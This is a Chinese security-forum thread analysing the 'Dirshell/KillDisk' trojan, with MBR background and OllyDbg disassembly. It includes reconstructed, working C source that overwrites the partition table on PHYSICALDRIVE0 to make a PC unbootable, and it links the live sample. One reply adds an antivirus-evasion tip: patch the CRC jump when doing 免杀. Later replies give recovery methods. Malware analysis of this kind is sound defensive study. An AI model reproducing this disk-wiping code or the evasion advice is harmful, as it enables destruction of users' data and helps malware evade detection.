发新话题
打印

[原创]Trojan.Win32.KillDisk.X(Dirshell)拆解

[原创]Trojan.Win32.KillDisk.X(Dirshell)拆解

文章作者:crazy4stef
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

前些天弄到一个病毒,这个病毒可以破坏硬盘的分区表,把分区表弄成循环状态,造成电脑无法启动.
开机时提示:Invalid partiton table(分区表无效)
手头有个人家写好的,但是我并不知道如何实现的.就决定把他给拆开来看看里面到底有什么.
先来看看硬盘的MBR结构和开机过程

Boot Sector 结构简介
  1. Boot Sector 的组成
  Boot Sector 也就是硬盘的第一个扇区, 它由 MBR (Master Boot Record),DPT (Disk Partition Table) 和 Boot Record ID(Magic Number) 三部分组成。
  MBR 又称作主引导记录,占用 Boot Sector 的前 446 个字节 ( 0 to 0x1BD ),包含了硬盘的一系列参数和一段系统主引导程序。引导程序主要是用来在系统硬件自检完后负责从活动分区中装载并运行系统引导程序(引导操作系统)。它的最后一条执行语句是一条JMP指令,跳到操作系统的引导程序去。这里往往是引导型病毒的注入点,也是各种多系统引导程序的注入点。但是由于引导程序本身完成的功能比较简单,所以我们完全可以判断该引导程序的合法性(比如看JMP指令的合法性),因而也易于修复。象命令fdisk/mbr可以修复MBR和KV300这类软件可以查杀任意类型的引导型病毒,就是这个道理。
  DPT 即主分区表,占用 64 个字节 (0x1BE to 0x1FD),记录了磁盘的基本分区信息。主分区表分为四个分区项, 每项 16 字节, 分别记录了每个主分区的信息(因此最多可以有四个主分区)。
  Boot Record ID 即引导区标记,占用两个字节 (0x1FE and 0x1FF), 对于合法引导区, 它等于 0xAA55, 这是判别引导区是否合法的标志.
  Boot Sector 的具体结构如下图所示:
  

  2. 主分区表的结构
  主分区表由四个分区项构成, 每一项的结构如下:
  BYTE State : 分区状态, 0 = 未激活, 0x80 = 激活 (注意此项)
  BYTE StartHead : 分区起始磁头号
  WORD StartSC : 分区起始扇区和柱面号, 低字节的低6位为扇区号,高2位为柱面号的第 9,10 位, 高字节 为柱面号的低 8 位
  BYTE Type : 分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
  BYTE EndHead : 分区结束磁头号
  WORD EndSC : 分区结束扇区和柱面号, 定义同前
  DWORD Relative : 在线性寻址方式下的分区相对扇区地址 (对于基本分区即为绝对地址)
  DWORD Sectors : 分区大小 (总扇区数)
  注意:在 DOS / Windows 系统下, 基本分区必须以柱面为单位划分( Sectors * Heads 个扇区), 如对于 CHS 为 764/255/63 的硬盘, 分区的最小尺寸为 255 * 63 * 512 / 1048576 = 7.844 MB。
  3. 扩展分区简介
  由于主分区表中只能分四个分区, 有时无法满足需求, 因此设计了一种扩展分区格式。 基本上说, 扩展分区的信息是以链表形式存放的, 但也有一些特别的地方。
  首先,主分区表中要有一个基本扩展分区项, 所有扩展分区都隶属于它,也就是说其他所有扩展分区的空间都必须包括在这个基本扩展分区中。 对于DOS / Windows 来说, 扩展分区的类型为 0x05。
  除基本扩展分区以外的其他所有扩展分区则以链表的形式级联存放, 后一个扩展分区的数据项记录在前一个扩展分区的分区表中, 但两个扩展分区的空间并不重叠。
  扩展分区类似于一个完整的硬盘, 必须进一步分区才能使用。但每个扩展分区中只能存在一个其他分区, 此分区在 DOS/Windows 环境中即为逻辑盘。因此每一个扩展分区的分区表 (同样存储在扩展分区的第一个扇区中)中最多只能有两个分区数据项(包括下一个扩展分区的数据项)。
  扩展分区和逻辑盘的示意图如下:
  
  三. 系统启动过程简介
  系统启动过程主要由一下几步组成(以硬盘启动为例):
  1. 开机;
  2. BIOS 加电或按reset键后都要进行系统复位,复位后指令地址为 0ffff:fff0,这个地方只有一条JMP指令, 跳转到系统自检 ( Power On Self Test -- POST )程序处;
  3. 系统自检完成后,将硬盘的第一个扇区 (0头0道1扇区, 也就是Boot Sector)读入内存地址 0000:7c00 处;
  4. 检查 (WORD) 0000:7dfe 是否等于 0xaa55, 若不等于则转去尝试其他启动介质, 如果没有其他启动介质 则显示 "No ROM BASIC" 然后死机;
  5. 跳转到 0000:7c00 处执行 MBR 中的程序;
  6. MBR程序 首先将自己复制到 0000:0600 处, 然后继续执行;
  7. 在主分区表中搜索标志为活动的分区,如果没有发现活动分区或有不止一个活动分区, 则转停止;
  8. 将活动分区的第一个扇区读入内存地址 0000:7c00 处;

这个病毒就是利用这里的死循环,使电脑无法启动的

  9. 检查 (WORD) 0000:7dfe 是否等于 0xaa55, 若不等于则 显示 "Missing Operating System" 然后停止, 或尝 试软盘启动或;
  10. 跳转到 0000:7c00 处继续执行特定系统的启动程序;
  11. 启动系统...
  以上步骤中 2,3,4,5 步是由 BIOS 的引导程序完成. 6,7,8,9,10步由MBR中的引导程序完成.
  一般多系统引导程序 (如 SmartFDISK, BootStar, PQBoot 等)都是将标准主引导记录替换成自己的引导程序, 在运行系统启动程序之前让用户选择要启动的分区。
  而某些系统自带的多系统引导程序 (如 lilo, NT Loader 等)则可以将自己的引导程序放在系统所处分区的第一个扇区中, 在 Linux中即为 SuperBlock (其实 SuperBlock 是两个扇区)。


先查壳,发现PEID无法识别,看看段名,其中有个叫木马彩衣的,就知道应该不难脱壳的 :)
OD载入,向下走几步,出现ESP,
复制内容到剪贴板
代码:
00408002 >  61          popad                    ; 停在这里
00408003   EB 06        jmp    short 0040800B
00408005  - E0 EB        loopdne short 00407FF2
00408007   00EB        add    bl, ch
00408009   03E8        add    ebp, eax
0040800B  ^ EB F9        jmp    short 00408006
0040800D   60          pushad
0040800E   E8 00000000    call   00408013             ; ESP定律
复制内容到剪贴板
代码:
004083B2  /EB 04        jmp    short 004083B8
004083B4  |61          popad
004083B5  ^|EB FB        jmp    short 004083B2         ; 断在这里
004083B7  ^|EB EB        jmp    short 004083A4
004083B9   0068 35      add    [eax+35], ch
复制内容到剪贴板
代码:
00407035   55          push   ebp                ; 到OEP了
00407036   8BEC        mov    ebp, esp
00407038   6A FF        push   -1
0040703A   68 00000000    push   0
0040703F   68 00000000    push   0
接着用OD直接DUMP出来就可以了.查壳,Microsoft Visual C++ 6.0,VC写的,跟进去看看吧.
复制内容到剪贴板
代码:
00407035 > 55      push  ebp
00407036  8BEC      mov  ebp, esp
00407038  6A FF     push  -1
0040703A  68 00000000  push  0
0040703F  68 00000000  push  0
00407044  64:A1 00000000 mov  eax, fs:[0]
0040704A  50      push  eax
0040704B  64:8925 0000000>mov  fs:[0], esp
00407052  83EC 68     sub  esp, 68
00407055  53      push  ebx
00407056  56      push  esi
00407057  57      push  edi
00407058  58      pop  eax
00407059  58      pop  eax
0040705A  58      pop  eax
0040705B  83C4 68     add  esp, 68
0040705E  58      pop  eax
0040705F  67:64:A3 0000  mov  fs:[0], eax
00407064  58      pop  eax
00407065  58      pop  eax
00407066  58      pop  eax
00407067  58      pop  eax
00407068  8BE8      mov  ebp, eax
0040706A  E8 71A2FFFF  call  004012E0             ; 关键call,跟进



004012E0 /. 55      push  ebp
004012E1 |. 8BEC     mov  ebp, esp
004012E3 |. 6A FF     push  -1
004012E5 |. 68 D8404000  push  004040D8
004012EA |. 68 141E4000  push  00401E14             ; SE handler installation
004012EF |. 64:A1 0000000>mov  eax, fs:[0]
004012F5 |. 50      push  eax
004012F6 |. 64:8925 00000>mov  fs:[0], esp
004012FD |. 83EC 58    sub  esp, 58
00401300 |. 53      push  ebx
00401301 |. 56      push  esi
00401302 |. 57      push  edi
00401303 |. 8965 E8    mov  [ebp-18], esp
00401306 |. FF15 58404000 call  [<&kernel32.GetVersion>]      ; kernel32.GetVersion
0040130C |. 33D2     xor  edx, edx
0040130E |. 8AD4     mov  dl, ah
00401310 |. 8915 34554000 mov  [405534], edx
00401316 |. 8BC8     mov  ecx, eax
00401318 |. 81E1 FF000000 and  ecx, 0FF
0040131E |. 890D 30554000 mov  [405530], ecx
00401324 |. C1E1 08    shl  ecx, 8
00401327 |. 03CA     add  ecx, edx
00401329 |. 890D 2C554000 mov  [40552C], ecx
0040132F |. C1E8 10    shr  eax, 10
00401332 |. A3 28554000  mov  [405528], eax
00401337 |. 33F6     xor  esi, esi
00401339 |. 56      push  esi
0040133A |. E8 A1090000  call  00401CE0
0040133F |. 59      pop  ecx
00401340 |. 85C0     test  eax, eax
00401342 |. 75 08     jnz  short 0040134C
00401344 |. 6A 1C     push  1C
00401346 |. E8 B0000000  call  004013FB
0040134B |. 59      pop  ecx
0040134C |> 8975 FC    mov  [ebp-4], esi
0040134F |. E8 E1070000  call  00401B35
00401354 |. FF15 54404000 call  [<&kernel32.GetCommandLineA>]    ; [GetCommandLineA
0040135A |. A3 385A4000  mov  [405A38], eax
0040135F |. E8 9F060000  call  00401A03
00401364 |. A3 10554000  mov  [405510], eax
00401369 |. E8 48040000  call  004017B6
0040136E |. E8 8A030000  call  004016FD
00401373 |. E8 A7000000  call  0040141F
00401378 |. 8975 D0    mov  [ebp-30], esi
0040137B |. 8D45 A4    lea  eax, [ebp-5C]
0040137E |. 50      push  eax                ; /pStartupinfo
0040137F |. FF15 50404000 call  [<&kernel32.GetStartupInfoA>]    ; \GetStartupInfoA
00401385 |. E8 1B030000  call  004016A5
0040138A |. 8945 9C    mov  [ebp-64], eax
0040138D |. F645 D0 01  test  byte ptr [ebp-30], 1
00401391 |. 74 06     je    short 00401399
00401393 |. 0FB745 D4  movzx  eax, word ptr [ebp-2C]
00401397 |. EB 03     jmp  short 0040139C
00401399 |> 6A 0A     push  0A
0040139B |. 58      pop  eax
0040139C |> 50      push  eax
0040139D |. FF75 9C    push  dword ptr [ebp-64]
004013A0 |. 56      push  esi
004013A1 |. 56      push  esi                ; /pModule
004013A2 |. FF15 4C404000 call  [<&kernel32.GetModuleHandleA>]    ; \GetModuleHandleA
004013A8 |. 50      push  eax
004013A9 |. E8 22FFFFFF  call  004012D0             ; 破坏分区表,跟进


004012D0 /$ E8 ABFFFFFF  call  00401280             ; 继续跟进
004012D5 |. 33C0     xor  eax, eax
004012D7 \. C2 1000    retn  10

00401280 /$ 81EC 94000000 sub  esp, 94
00401286 |. 8D4424 00  lea  eax, [esp]
0040128A |. C74424 00 940>mov  dword ptr [esp], 94
00401292 |. 50      push  eax                ; /pVersionInformation
00401293 |. FF15 28404000 call  [<&kernel32.GetVersionExA>]     ; \GetVersionExA
00401299 |. 85C0     test  eax, eax
0040129B |. 74 10     je    short 004012AD
0040129D |. 837C24 10 02 cmp  dword ptr [esp+10], 2
004012A2 |. 75 1A     jnz  short 004012BE
004012A4 |. E8 E7FDFFFF  call  00401090             ; 程序最主要部分,跟进
004012A9 |. 85C0     test  eax, eax
004012AB |. 75 11     jnz  short 004012BE
004012AD |> 6A 10     push  10                ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004012AF |. 6A 00     push  0                ; |Title = NULL
004012B1 |. 68 8C504000  push  0040508C             ; |Text = "文件CRC效验错误"
004012B6 |. 6A 00     push  0                ; |hOwner = NULL
004012B8 |. FF15 C4404000 call  [<&user32.MessageBoxA>]      ; \MessageBoxA
004012BE |> 81C4 94000000 add  esp, 94
004012C4 \. C3      retn


00401090 /$ 83EC 60    sub  esp, 60
00401093 |. 8D4424 20  lea  eax, [esp+20]
00401097 |. 53      push  ebx
00401098 |. 55      push  ebp
00401099 |. 56      push  esi
0040109A |. 57      push  edi
0040109B |. 68 78504000  push  00405078             ; /Format = "\\.\PHYSICALDRIVE0"
004010A0 |. 50      push  eax                ; |s
004010A1 |. FF15 CC404000 call  [<&user32.wsprintfA>]        ; \wsprintfA 格式化字符串
004010A7 |. 83C4 08    add  esp, 8
004010AA |. 8D4C24 30  lea  ecx, [esp+30]
004010AE |. 6A 00     push  0                ; /hTemplateFile = NULL
004010B0 |. 6A 00     push  0                ; |Attributes = 0
004010B2 |. 6A 03     push  3                ; |Mode = OPEN_EXISTING
004010B4 |. 6A 00     push  0                ; |pSecurity = NULL
004010B6 |. 6A 03     push  3                ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004010B8 |. 68 000000C0  push  C0000000             ; |Access = GENERIC_READ|GENERIC_WRITE
004010BD |. 51      push  ecx                ; |FileName
004010BE |. FF15 44404000 call  [<&kernel32.CreateFileA>]     ; \CreateFileA
004010C4 |. 8BF0     mov  esi, eax
004010C6 |. 83FE FF    cmp  esi, -1
004010C9 |. 0F84 A5010000 je    00401274             ; 打开设备出错,或者权限不够
004010CF |. 8D5424 10  lea  edx, [esp+10]
004010D3 |. 8B1D 20404000 mov  ebx, [<&kernel32.DeviceIoControl>] ; kernel32.DeviceIoControl
004010D9 |. 6A 00     push  0                ; /pOverlapped = NULL
004010DB |. 52      push  edx                ; |pBytesReturned
004010DC |. 6A 00     push  0                ; |OutBufferSize = 0
004010DE |. 6A 00     push  0                ; |OutBuffer = NULL
004010E0 |. 6A 00     push  0                ; |InBufferSize = 0
004010E2 |. 6A 00     push  0                ; |InBuffer = NULL
004010E4 |. 68 18000900  push  90018              ; |IoControlCode = FSCTL_LOCK_VOLUME 锁住硬盘
004010E9 |. 56      push  esi                ; |hDevice
004010EA |. FFD3     call  ebx                ; \DeviceIoControl
004010EC |. 8D4424 10  lea  eax, [esp+10]
004010F0 |. 6A 00     push  0                ; /pOverlapped = NULL
004010F2 |. 50      push  eax                ; |pBytesReturned
004010F3 |. 8D4C24 20  lea  ecx, [esp+20]          ; |
004010F7 |. 6A 18     push  18                ; |OutBufferSize = 18 (24.)
004010F9 |. 51      push  ecx                ; |OutBuffer
004010FA |. 6A 00     push  0                ; |InBufferSize = 0
004010FC |. 6A 00     push  0                ; |InBuffer = NULL
004010FE |. 68 00000700  push  70000              ; |IoControlCode = IOCTL_DISK_GET_DRIVE_GEOMETRY  取得硬盘结构
00401103 |. 56      push  esi                ; |hDevice
00401104 |. FFD3     call  ebx                ; \DeviceIoControl
00401106 |. 8B5424 2C  mov  edx, [esp+2C]
0040110A |. 52      push  edx                ; /HeapSize
0040110B |. 6A 08     push  8                ; |Flags = HEAP_ZERO_MEMORY
0040110D |. FF15 1C404000 call  [<&kernel32.GetProcessHeap>]    ; |[GetProcessHeap
00401113 |. 50      push  eax                ; |hHeap
00401114 |. FF15 18404000 call  [<&kernel32.HeapAlloc>]      ; \HeapAlloc
0040111A |. 8BF8     mov  edi, eax
0040111C |. 85FF     test  edi, edi
0040111E |. 0F84 50010000 je    00401274
00401124 |. 8D4424 14  lea  eax, [esp+14]
00401128 |. 6A 00     push  0                ; /pOverlapped = NULL
0040112A |. 50      push  eax                ; |pBytesRead
0040112B |. 68 00020000  push  200                ; |BytesToRead = 200 (512.)
00401130 |. 57      push  edi                ; |Buffer
00401131 |. 56      push  esi                ; |hFile
00401132 |. FF15 14404000 call  [<&kernel32.ReadFile>]      ; \ReadFile
00401138 |. 85C0     test  eax, eax
0040113A |. 0F84 34010000 je    00401274             ; 读取MBR内容,出错就跳走
00401140 |. 817C24 14 000>cmp  dword ptr [esp+14], 200      ; 是否读取了512字节
00401148 |. 0F82 26010000 jb    00401274             ; 没有就跳走
0040114E |. C687 BE010000>mov  byte ptr [edi+1BE], 80      ; 设置为活动分区
00401155 |. C687 BF010000>mov  byte ptr [edi+1BF], 0        
0040115C |. C687 C2010000>mov  byte ptr [edi+1C2], 5      
00401163 |. B8 C3010000  mov  eax, 1C3
00401168 |> 8A0C38    /mov  cl, [eax+edi]          ; 从0x1C3开始,分区表的每个字节与26异或
0040116B |. 80F1 26    |xor  cl, 26                    ;这里为什么与26异或就可以弄成循环,请高手赐教,谢谢
0040116E |. 880C38    |mov  [eax+edi], cl
00401171 |. 40      |inc  eax
00401172 |. 3D FE010000  |cmp  eax, 1FE
00401177 |.^ 7C EF     \jl    short 00401168          ; 到0x1FE结束
00401179 |. 8D4C24 10  lea  ecx, [esp+10]
0040117D |. 6A 00     push  0
0040117F |. 51      push  ecx
00401180 |. 6A 00     push  0
00401182 |. 6A 00     push  0
00401184 |. 6A 00     push  0
00401186 |. 6A 00     push  0
00401188 |. 68 1C000900  push  9001C
0040118D |. 56      push  esi
0040118E |. FFD3     call  ebx
00401190 |. 8B2D 10404000 mov  ebp, [<&kernel32.CloseHandle>]    ; kernel32.CloseHandle
00401196 |. 56      push  esi                ; /hObject
00401197 |. FFD5     call  ebp                ; \CloseHandle
00401199 |. 8D5424 30  lea  edx, [esp+30]
0040119D |. 68 78504000  push  00405078             ; /Format = "\\.\PHYSICALDRIVE0"
004011A2 |. 52      push  edx                ; |s
004011A3 |. FF15 CC404000 call  [<&user32.wsprintfA>]        ; \wsprintfA
004011A9 |. 83C4 08    add  esp, 8
004011AC |. 8D4424 30  lea  eax, [esp+30]
004011B0 |. 6A 00     push  0                ; /hTemplateFile = NULL
004011B2 |. 6A 00     push  0                ; |Attributes = 0
004011B4 |. 6A 03     push  3                ; |Mode = OPEN_EXISTING
004011B6 |. 6A 00     push  0                ; |pSecurity = NULL
004011B8 |. 6A 03     push  3                ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
004011BA |. 68 000000C0  push  C0000000             ; |Access = GENERIC_READ|GENERIC_WRITE
004011BF |. 50      push  eax                ; |FileName
004011C0 |. FF15 44404000 call  [<&kernel32.CreateFileA>]     ; \CreateFileA
004011C6 |. 8BF0     mov  esi, eax
004011C8 |. 83FE FF    cmp  esi, -1
004011CB |. 0F84 A3000000 je    00401274
004011D1 |. 8D4C24 10  lea  ecx, [esp+10]
004011D5 |. 6A 00     push  0
004011D7 |. 51      push  ecx
004011D8 |. 6A 00     push  0
004011DA |. 6A 00     push  0
004011DC |. 6A 00     push  0
004011DE |. 6A 00     push  0
004011E0 |. 68 18000900  push  90018
004011E5 |. 56      push  esi
004011E6 |. FFD3     call  ebx
004011E8 |. 8D5424 10  lea  edx, [esp+10]
004011EC |. 6A 00     push  0
004011EE |. 52      push  edx
004011EF |. 8D4424 20  lea  eax, [esp+20]
004011F3 |. 6A 18     push  18
004011F5 |. 50      push  eax
004011F6 |. 6A 00     push  0
004011F8 |. 6A 00     push  0
004011FA |. 68 00000700  push  70000
004011FF |. 56      push  esi
00401200 |. FFD3     call  ebx
00401202 |. 8D4C24 14  lea  ecx, [esp+14]
00401206 |. 6A 00     push  0                ; /pOverlapped = NULL
00401208 |. 51      push  ecx                ; |pBytesWritten
00401209 |. 68 00020000  push  200                ; |nBytesToWrite = 200 (512.)
0040120E |. 57      push  edi                ; |Buffer
0040120F |. 56      push  esi                ; |hFile
00401210 |. FF15 24404000 call  [<&kernel32.WriteFile>]      ; \WriteFile
00401216 |. 85C0     test  eax, eax             ; 写入修改后的分区表内容
00401218 |. 74 5A     je    short 00401274          ; 写入失败就跳走
0040121A |. 817C24 14 000>cmp  dword ptr [esp+14], 200      ; 是否写入了512字节
00401222 |. 72 50     jb    short 00401274          ; 没有就跳走
00401224 |. 8D5424 10  lea  edx, [esp+10]
00401228 |. 6A 00     push  0
0040122A |. 52      push  edx
0040122B |. 6A 00     push  0
0040122D |. 6A 00     push  0
0040122F |. 6A 00     push  0
00401231 |. 6A 00     push  0
00401233 |. 68 1C000900  push  9001C
00401238 |. 56      push  esi
00401239 |. FFD3     call  ebx
0040123B |. 57      push  edi                ; /pMemory
0040123C |. 6A 01     push  1                ; |Flags = HEAP_NO_SERIALIZE
0040123E |. FF15 1C404000 call  [<&kernel32.GetProcessHeap>]    ; |[GetProcessHeap
00401244 |. 50      push  eax                ; |hHeap
00401245 |. FF15 3C404000 call  [<&kernel32.HeapFree>]      ; \HeapFree
0040124B |. 56      push  esi
0040124C |. FFD5     call  ebp
0040124E |. 6A 00     push  0                ; /Style = MB_OK|MB_APPLMODAL
00401250 |. 68 70504000  push  00405070             ; |Title = "找死"
00401255 |. 68 44504000  push  00405044             ; |Text = "猪三?,AC,"猪三哈哈?,AC,"就是猪三?,BD,",等死",B0,"?哈哈...."
0040125A |. 6A 00     push  0                ; |hOwner = NULL
0040125C |. FF15 C4404000 call  [<&user32.MessageBoxA>]      ; \MessageBoxA
00401262 |. E8 99FDFFFF  call  00401000             ; 提示些无聊的信息
00401267 |. 5F      pop  edi
00401268 |. 5E      pop  esi
00401269 |. 5D      pop  ebp
0040126A |. B8 01000000  mov  eax, 1
0040126F |. 5B      pop  ebx
00401270 |. 83C4 60    add  esp, 60
00401273 |. C3      retn
00401274 |> 5F      pop  edi
00401275 |. 5E      pop  esi
00401276 |. 5D      pop  ebp
00401277 |. 33C0     xor  eax, eax
00401279 |. 5B      pop  ebx
0040127A |. 83C4 60    add  esp, 60
0040127D \. C3      retn
调了几个基本的API,用VC还原以上内容如下:
复制内容到剪贴板
代码:
  HANDLE hDevice;
  TCHAR szDevicename[64];
  LPTSTR szBuff;  
  DISK_GEOMETRY Geometry;
  BOOL bRet;
  DWORD bytes,bread,count;
  char *drive = "0";
  BYTE pMBR[512]={0};
  bytes = 512;
  
  wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);
  hDevice = CreateFile( szDevicename,
            GENERIC_READ|GENERIC_WRITE,
            FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            0,
            NULL
           );
  if (hDevice == INVALID_HANDLE_VALUE)
  {
   MessageBox("Open Device Error!");
   ExitProcess(0);
  }
  DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
  DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,
           &Geometry,sizeof(DISK_GEOMETRY),&count,NULL);
  szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);
  if ( szBuff == NULL)
  {
   MessageBox("Memery Allocation Error!");
  }
  
  bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);
  if (bRet==FALSE || bread<512)
  {
   MessageBox("Read Device Error!");
  }
  for(int n=0;n<512;n++)
  {
   pMBR[n] = szBuff[n];
  }
  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
  CloseHandle(hDevice);

  pMBR[0x1BE]=80;
  pMBR[0x1BF]=0;
  pMBR[0x1C2]=5;
  for (n=0x1C3;n<=0x1FE;n++)
  {
   pMBR[n]=pMBR[n] ^ 26;
  }
  
  hDevice = CreateFile( szDevicename,
            GENERIC_READ|GENERIC_WRITE,
            FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            0,
            NULL
           );
  if (hDevice == INVALID_HANDLE_VALUE)
  {
    MessageBox("Open Device Error!");
    ExitProcess(0);
  }
  DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);

  bRet=WriteFile(hDevice,pMBR,bytes,&bread,NULL);
  if (bRet == FALSE || bread<512)
  {
    MessageBox("Write File Error!");
  }
  
  DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
  CloseHandle(hDevice);
附完整源码.和我下载的病毒程序.(请不要在实机测试,后果自负.)

后记:目前防止该病毒只有2种方法
1.不要使用管理员帐号.MSDN里面这样说的:
引用:
Physical Disks and Volumes

You can use the CreateFile function to open a physical disk drive or a volume. The function returns a handle that can be used with the DeviceIoControl function. This enables you to access the disk partition table. However, it is potentially dangerous to do so, because an incorrect write to a disk could make its contents inaccessible. The following requirements must be met for such a call to succeed:


The caller must have administrative privileges. For more information, see Running with Special Privileges.
The dwCreationDisposition parameter must have the OPEN_EXISTING flag.
When opening a volume or floppy disk, the dwShareMode parameter must have the FILE_SHARE_WRITE flag.
2.目前唯一能防止改病毒的HIPS(Hosted-Based Intrusion Prevention System )-System Safety Monitor(SSM),SSM可以检测到各类程序对硬盘底层的访问.从而阻止该动作

至于中了这个之后的修复问题,只能用改过IO.SYS的DOS引导盘启动电脑,然后用diskgen修复.因为死循环找成引导系统无法找到硬盘分区,就无法启动了.
或者直接用深山红叶的WIN PE工具盘来修复,非常方便.

附件

Test.rar (27 KB)

2006-8-16 09:18, 下载次数: 216

Test.zip (13 KB)

2006-8-16 09:18, 下载次数: 184

TOP

引用:
于中了这个之后的修复问题,只能用改过IO.SYS的DOS引导盘启动电脑,然后用diskgen修复.因为死循环找成引导系统无法找到硬盘分区,就无法启动了.
或者直接用深山红叶的WIN PE工具盘来修复,非常方便.
这样是无法恢复的!  这个不叫硬盘杀手,有名字, 叫[Dirshell]

TOP

用无忧的启动盘 启动.... 盘里自带有DOS版的PQ
用PQ把多余的那个1M分区删了
再用DM恢复下分区表就可以了

TOP

先查壳,发现PEID无法识别,看看段名,其中有个叫木马彩衣的,就知道应该不难脱壳的 :)


=.=#花指令~~~
不是壳
直接跟着走就成了
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

发的TEST。EXE在2000,XP系统测试无效果。并不能修改分区表。

TOP

to only_over:
我用win pe光盘成功恢复过多次,需要的话,可以截图看.  :)

百度说:
去掉IO.SYS的只读属性,用UltraEdit打开IO.SYS文件,搜索第一个“55aa”字符串,找到后修改为其他任意字符,存盘。

硬盘被锁死的症结:   
  根源在于DOS中IO.SYS文件,它包含LOADER,IO1,IO2,IO3四个模块,其中IO1中  包含有一个很关键的程序SysInt_I,它在启动中很固执,非要去读分区表,而且不把分区表  读完誓不罢休。如果碰上分区表是循环的,它就死机了!!!这就是王江民逻辑炸弹的  关键所在。  那么什么是循环的分区表呢?从前面对分区表链的介绍中,读者应该可以领会。(  既然是链,如果尾指针又指向了头,一个循环链不就成了吗?)

这里我不明白的就是为什么分区表中的数据和26做xor可以弄成循环.知道的一定来说下.谢谢.

to 小野:
谢谢指出错误.但是我的理解是加了花指令的程序应该不会改段名吧?而且dump出来要大了一点?
我刚开始学reverse,实属菜鸟.如有错误,还望包涵.

TOP

[s:75]
TO 樓主:
  經過測試,木馬彩衣的確會增加“木馬彩衣”區段,因爲有時候在程序0代碼處加跳轉指令,很容易出現無法定位數據,這時候,加一個區段就成了,木馬彩衣也是這樣的,協程序要保持通用性
至于“dump出来要大了一点”的問題可以所8是問題
手工脫殼和工具脫殼的大小都不一樣
走完華指令部分就可以了,其實脫殼分完美脫殼和一般脫殼
想要完美必須對脫殼程序進一步優化,包括多于部分的删除

004012A9 |. 85C0    test  eax, eax
004012AB |. 75 11    jnz  short 004012BE
004012AD |> 6A 10    push  10          ; /Style = MB_OK|MB_ICONHAND|MB_APPLMODAL
004012AF |. 6A 00    push  0          ; |Title = NULL
004012B1 |. 68 8C504000  push  0040508C         ; |Text = "文件CRC效验错误"
004012B6 |. 6A 00    push  0          ; |hOwner = NULL
004012B8 |. FF15 C4404000 call  [<&user32.MessageBoxA>]     ; \MessageBoxA
004012BE |> 81C4 94000000 add  esp, 94
004012C4 \. C3     retn

把004012AB的jnz改成jmp就能跳過CRC效儉了吧,做免殺時候記得了

00401250 |. 68 70504000  push  00405070         ; |Title = "找死"
00401255 |. 68 44504000  push  00405044         ; |Text = "猪三?,AC,"猪三哈哈?,AC,"就是猪三?,BD,",等死",B0,"?哈哈...."


汗,又見豬3
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

補充下,對于華指令,直接F7跟者走就是了
一伙兒就到了OEP
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

他这个CRC是骗人的.所有的错误都往那里跳的.

best regards

TOP

[s:75] 这个不是我的DIRSHELL么,楼猪分析得蛮透彻滴撒,其实DIRSHELL一点都不可怕。用无忧的启动盘 启动.... 盘里自带有DOS版的PQ
用PQ把多余的那个1M分区删了
再用DM恢复下分区表就可以了。。。要是你木有无忧启动盘就。。。。
拜托楼猪把标题改一下改成Trojan.Win32.KillDisk.X(Dirshell)拆解
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。
注:此账号密码已更改,请本人与冰血联系修改密码。

TOP

00401250 |. 68 70504000  push  00405070      ; |Title = "找死"
00401255 |. 68 44504000  push  00405044      ; |Text = "猪三?,AC,"猪三哈哈?,AC,"就是猪三?,BD,",等死",B0,"?哈哈...."


你现在才发现啊·············
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

引用:
这里是引用第[2 楼]princess2006-08-17 17:55发表的:
用无忧的启动盘 启动.... 盘里自带有DOS版的PQ
用PQ把多余的那个1M分区删了
再用DM恢复下分区表就可以了
无忧的启动盘...

(先废话2句,TMD,我就是中了..名字叫**硬盘终结者.害得我一气之下把笔记本丢在广州跑来深圳了.这个帖子真是救我老命.哈喇几句,完毕....)

那么...用无忧启动盘启动,然后进PQ就可以了是吗?
启动盘是光碟吧?不要告诉我是3.5英寸哦 ..................在线等.

或是告诉我直接的办法.(怎么我去百度找不到答案呢.伤心)
enjoy my life

TOP

其实中了后没重起的情况下,用Partition Table Doctor可以直接恢复的。被关机了就只能用Win Pe(Microsoft Windows Preinstallation Environment)光盘启动了 [s:75]

to Hack520:

这里为什么用原分区表内容和26做xor可以弄成循环呢?可以告诉我么?
复制内容到剪贴板
代码:
for (n=0x1C3;n<=0x1FE;n++)
{
  pMBR[n]=pMBR[n] ^ 26;
}

TOP

这个东西确实厉害,传说用无忧启动盘里的PQ可以恢复,海口这破地方没有买的,现在真的是没办法,电脑里的东东太多,各位还有什么办法。或者谁有无忧的ISO文件可以共享下.
We are not the only ones,but we will try to be the best!

TOP

[s:70] 很多番茄花园带都那几个工具!
去买张番茄花园就可以了!

TOP

引用:
这里是引用第[15 楼]独孤依人2006-10-07 19:27发表的:
